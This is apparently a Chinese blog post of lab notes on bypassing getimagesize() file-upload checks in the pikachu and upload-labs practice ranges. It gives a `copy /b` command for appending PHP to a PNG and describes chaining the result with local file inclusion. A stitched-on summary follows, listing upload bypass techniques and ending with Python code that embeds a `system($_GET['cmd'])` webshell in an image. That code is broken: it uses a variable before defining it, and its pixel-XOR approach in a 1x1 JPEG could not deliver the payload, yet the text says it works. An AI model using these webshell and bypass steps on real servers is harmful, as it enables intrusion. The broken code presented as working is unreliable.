0513 8-4 文件上传之getimagesize 绕过案例和防范措施

在这里插入图片描述在这里插入图片描述视频中2张图片的16进制 头几个字符串都是一样的 8950 4e47

在这里插入图片描述打开pikachu在Unsafe Fileupload 中的getimagesize中 上传图片发现正常

核心:getimagesize 这个函数是检查图片的前面16进制来检查是否为图片。如果说在在16进制后面加入恶意代码,就可以神不知鬼不觉的上传图片和本地文件包含漏洞(改URL的)结合 达到入侵的目的!即制作包含恶意代码的图片!
制作方法:

在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
window+R cmd 输入 copy /b ai.png + phpinfo.php ccc.png
桌面出现
在这里插入图片描述
在这里插入图片描述在这里插入图片描述上传图片 发现 正常上传

z直接访问恶意代码 不会执行
n那么怎么执行呢?
xx先访问试试
在这里插入图片描述输入发现正常为图片
(本地文件包含漏洞 inclode 读代码 读到尾php)
(世纪中要靠猜测或者暴力破解 来确定上传图片的点在哪里)
在这里插入图片描述结合本地文件包含漏洞
在这里插入图片描述得到
在这里插入图片描述在这里插入图片描述

在Web安全测试中,文件上传漏洞是一种常见的安全隐患,攻击者可以通过绕过文件上传限制将恶意代码植入服务器。upload-labs靶场提供了一个练习此类渗透技术的环境,其中包含了多种不同类型的文件上传漏洞场景。 ### 文件上传绕过方法 #### 客户端验证绕过 一些网站仅依赖于前端JavaScript来检查上传文件的类型,这通常可以通过禁用或修改浏览器中的脚本来实现绕过。例如,在第一关中,可以使用三种方法完成渗透:修改MIME类型、使用Burp Suite拦截并更改请求内容或者直接构造POST请求上传非允许类型的文件[^1]。 #### 服务端验证绕过 对于后端验证,开发者可能会采用黑名单机制阻止特定扩展名(如`.php`)的文件上传。然而,这种做法容易被利用,比如通过上传具有其他可执行扩展名(如`.phtml`, `.php5`, `.pht`等)的文件来规避检测。此外,还可以尝试利用`.htaccess`文件或者其他配置文件来改变服务器行为,以允许执行原本被禁止的脚本语言。 #### 特殊文件格式绕过 某些情况下,服务器可能只接受图片文件。这时可以创建一个包含PHP代码的图片马(image horse),即所谓的“图片马”。由于`getimagesize()`函数会读取目标文件的文件头来判断是否为图片文件,因此仍然可以使用Pass-14的方法进行绕过。同样地,如果遇到使用了`exif_imagetype()`函数的情况,则需要确保上传的文件确实是一个合法的图像文件头,同时嵌入恶意代码[^4]。 #### 配置错误与解析漏洞 有时候服务器配置不当也可能导致安全问题。例如,在第五关中发现了一个`.ini`文件被用来作为上传白名单控制,通过构造特殊的文件名路径,能够使得服务器误将非预期类型的文件当作合法文件处理。另外,若服务器存在解析漏洞,比如Apache服务器错误地将`.php.jpg`这样的文件名解析为`.php`文件,则同样可以借此上传webshell[^3]。 #### 绕过后缀黑名单 当面对严格的后缀黑名单时,可以考虑寻找是否存在双重扩展名处理缺陷,或是尝试上传带有空格、点号结尾的文件名,因为这些特殊字符有时会被过滤器忽略掉。还有就是利用Windows系统对长文件名的支持特性,构造出看似正常但实际上含有隐藏恶意扩展名的文件名。 ```python # 示例:生成一个简单的图片马 from PIL import Image import os def create_image_with_shellcode(output_filename): # 创建一个新的空白图像 img = Image.new('RGB', (1, 1), color = (73, 109, 137)) # 将PHP shellcode写入到图像数据中 php_code = "<?php system($_GET['cmd']); ?>" data = bytearray(php_code, 'utf-8') + b'\x00' * (len(data) % 4) # 填充至4字节边界 # 修改图像数据部分 pixels = list(img.getdata()) new_pixels = [] for pixel in pixels: r, g, b = pixel if len(data) > 0: r ^= data.pop(0) new_pixels.append((r, g, b)) img.putdata(new_pixels) img.save(output_filename) create_image_with_shellcode("malicious.jpg") ``` 以上代码演示了如何生成一个携带简单PHP命令执行功能的JPEG图片文件,它可以在支持PHP并且没有正确校验上传文件内容的服务器上运行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值